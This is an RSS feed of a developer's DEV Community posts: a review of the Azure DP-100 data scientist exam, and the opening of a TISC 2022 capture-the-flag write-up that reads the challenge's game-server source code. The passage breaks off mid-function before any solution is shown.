<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Terence Chan Zun Mun</title>
    <description>The latest articles on DEV Community by Terence Chan Zun Mun (@hackin7).</description>
    <link>https://dev.to/hackin7</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F700853%2F1fc39d9a-6008-4876-8bdf-27173f660e8b.png</url>
      <title>DEV Community: Terence Chan Zun Mun</title>
      <link>https://dev.to/hackin7</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/hackin7"/>
    <language>en</language>
    <item>
      <title>Microsoft Certified: Azure Data Scientist Associate DP-100 Review</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Sun, 19 Feb 2023 16:21:01 +0000</pubDate>
      <link>https://dev.to/hackin7/microsoft-certified-azure-data-scientist-associate-2gle</link>
      <guid>https://dev.to/hackin7/microsoft-certified-azure-data-scientist-associate-2gle</guid>
      <description>&lt;p&gt;Back in November last year, I did the &lt;a href="https://www.microsoft.com/en-US/cloudskillschallenge/ignite/registration/2022"&gt;Microsoft Learn Cloud Skills Challenge 2022&lt;/a&gt;. It was a challenge where you can get a free exam voucher provided you complete 1 chosen Cloud Challenge by November 9.&lt;/p&gt;

&lt;p&gt;Recently I finally secured the free exam and a free certificate. Here's how I did it. &lt;/p&gt;

&lt;h1&gt;
  
  
  Study Plan
&lt;/h1&gt;

&lt;p&gt;After doing the AI Challenge, I put the exam on hold till mid January. By then I needed a refresher on the course materials. I decided on the AI exam as I wanted to improve my ML skills. It is also one of the few exams offered which could directly lead to a certificate&lt;/p&gt;

&lt;p&gt;I went with a Udemy course, watching the course videos. It familiarised myself with the platform. I would say it ended up not helping much else though. In fact, it didn't cover some topics. &lt;/p&gt;

&lt;p&gt;One common thing I also saw online is that many of the courses online may also not be accurate or up to date, as Microsoft has depreciated many functions and changed some features. In the end, I realised the best resource is still Microsoft's own online learning platform as it covers all the topics. I reread it through briefly before the exam and it helped me (the differential privacy section as well as explanations sections helped) &lt;/p&gt;

&lt;p&gt;However, I was also recommended to buy an eBook with past exam questions. Its called &lt;a href="https://www.amazon.com/Microsoft-Certified-Scientist-Associate-DP-100-ebook/dp/B094RGD62F"&gt;Microsoft-Certified-Scientist-Associate-DP-100&lt;/a&gt;. This is something I would &lt;strong&gt;highly recommend&lt;/strong&gt;. The questions delve into specific and technical details. Keep in mind these technical details as even if the questions aren't exactly the same, the concepts and details you learn from the boom&lt;/p&gt;

&lt;p&gt;If I were to study for it again, I would&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Focus on the materials on the Microsoft Learn Platform &lt;/li&gt;
&lt;li&gt;Read the book&lt;/li&gt;
&lt;li&gt;Familiarise yourself with the ML Workspace (not necessary but still good to do) &lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Exam
&lt;/h1&gt;

&lt;p&gt;I did my exam at home through the Pearson Vue online system. There were 50 MCQ questions. About 5 questions are part of a case study that you cannot go back to review after answering. &lt;/p&gt;

&lt;p&gt;You cannot bring in physical paper. You also cannot go to the toilet once the exam started, so make sure to do so&lt;/p&gt;

&lt;p&gt;Other than that, if you read from the book, most of the questions are actually very similar/ the exact same. &lt;/p&gt;

&lt;p&gt;Quite a few questions were on code (what functions do what), a few on ML concepts (epsilon in differential privacy). There weren't too much questions involving the platform's UI. &lt;/p&gt;

&lt;p&gt;They may test external libraries such as &lt;code&gt;mlflow&lt;/code&gt; for experiments, not just those limited to their own &lt;code&gt;azureml&lt;/code&gt; library&lt;/p&gt;

&lt;h1&gt;
  
  
  Results
&lt;/h1&gt;

&lt;p&gt;Immediately after I ended the exam, they gave me my results. I passed the exam!&lt;/p&gt;

&lt;p&gt;Overall my thoughts on the exam is that it is a relatively good exam for learning cloud ML concepts. I may use Azure's ML platform in the future with this certificate&lt;/p&gt;

</description>
      <category>microsoftcloud</category>
      <category>azure</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>The TISC 2022 Writeup</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Thu, 15 Sep 2022 13:06:38 +0000</pubDate>
      <link>https://dev.to/hackin7/the-tisc-2022-writeup-2lgd</link>
      <guid>https://dev.to/hackin7/the-tisc-2022-writeup-2lgd</guid>
      <description>&lt;p&gt;I spent some time over the 2 weeks doing the CSIT The InfoSecurity Challenge. &lt;/p&gt;

&lt;p&gt;Overall I think I did decent, as I could get the Level 4 Badge. Out of the 213 who got points, I was in the 59th position.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flpx9wyyx6tcwmt6wb5dw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flpx9wyyx6tcwmt6wb5dw.png" alt="Image description" width="800" height="107"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here are my writeups&lt;/p&gt;

&lt;h1&gt;
  
  
  Level 1
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fchmgasb96y3pyhuudgzl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fchmgasb96y3pyhuudgzl.png" alt="Image description" width="565" height="495"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd3idh2q4odsf1xrzo9ku.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd3idh2q4odsf1xrzo9ku.png" width="565" height="495"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;

&lt;p&gt;Firstly, source code is given, so I started reading it.&lt;/p&gt;

&lt;p&gt;It includes both the client and server code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook src]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;Dockerfile  PLEASE_READ.txt  client  core  docker-compose.yml  flag.txt  main.py  poetry.lock  pyproject.toml  requirements.txt  run_server.py  server
&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook src]&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the looks of the Dockerfile, there's a flag file on the server&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=builder /venv /venv&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; flag.txt /&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . /app&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; /app/flag.txt

&lt;span class="k"&gt;RUN &lt;/span&gt;adduser &lt;span class="nt"&gt;-u&lt;/span&gt; 5678 &lt;span class="nt"&gt;--disabled-password&lt;/span&gt; &lt;span class="nt"&gt;--gecos&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; appuser &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; appuser /app

&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;chown &lt;/span&gt;root:appuser /flag.txt
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;440 /flag.txt

...

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Basic Analysis
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Server Code
&lt;/h4&gt;

&lt;p&gt;The main server code is in &lt;code&gt;run_server.py&lt;/code&gt;. It imports several libraries from the &lt;code&gt;server&lt;/code&gt; folder&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GameServer&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;server.service&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;BattleService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;BuyPotionService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;BuySwordService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ViewStatsService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;WorkService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GameServer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
    &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BATTLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;BattleService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VIEW_STATS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ViewStatsService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WORK&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;WorkService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BUY_SWORD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;BuySwordService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BUY_POTION&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;BuyPotionService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;EXIT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv_command&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looking at the files in the server folder, we can see where they read the file in &lt;code&gt;server/gameserver.py&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@dataclass&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GameServer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;NetClient&lt;/span&gt;
    &lt;span class="n"&gt;game&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Game&lt;/span&gt;

    &lt;span class="bp"&gt;...&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;recv_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__recv&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

    &lt;span class="bp"&gt;...&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;send_flag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/flag.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I tried to look through all the files for where the &lt;code&gt;send_flag&lt;/code&gt; function is called (by searching for &lt;code&gt;send_flag&lt;/code&gt;)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook src]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rnw&lt;/span&gt; ./ &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'send_flag'&lt;/span&gt;
./server/service/battleservice.py:55:        self.server.send_flag&lt;span class="o"&gt;()&lt;/span&gt;
./server/gameserver.py:50:    def send_flag&lt;span class="o"&gt;(&lt;/span&gt;self&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook src]&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In &lt;code&gt;server/service/battleservice.py&lt;/code&gt;, is the battle code. The flag is called when the battle is won &lt;strong&gt;and when there is no next boss&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;__future__&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;annotations&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TYPE_CHECKING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;core.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CommandHistorian&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Result&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;TYPE_CHECKING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GameServer&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BattleService&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="bp"&gt;...&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__send_next_boss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log_commands_from_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv_command_str&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

            &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;latest&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ATTACK&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HEAL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BOSS_ATTACK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VALIDATE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;break&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RUN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;
                &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__compute_battle_outcome&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PLAYER_WIN_BATTLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__handle_battle_win&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BOSS_WIN_BATTLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;case&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__handle_battle_win&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove_next_boss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__boss_available_for_next_battle&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
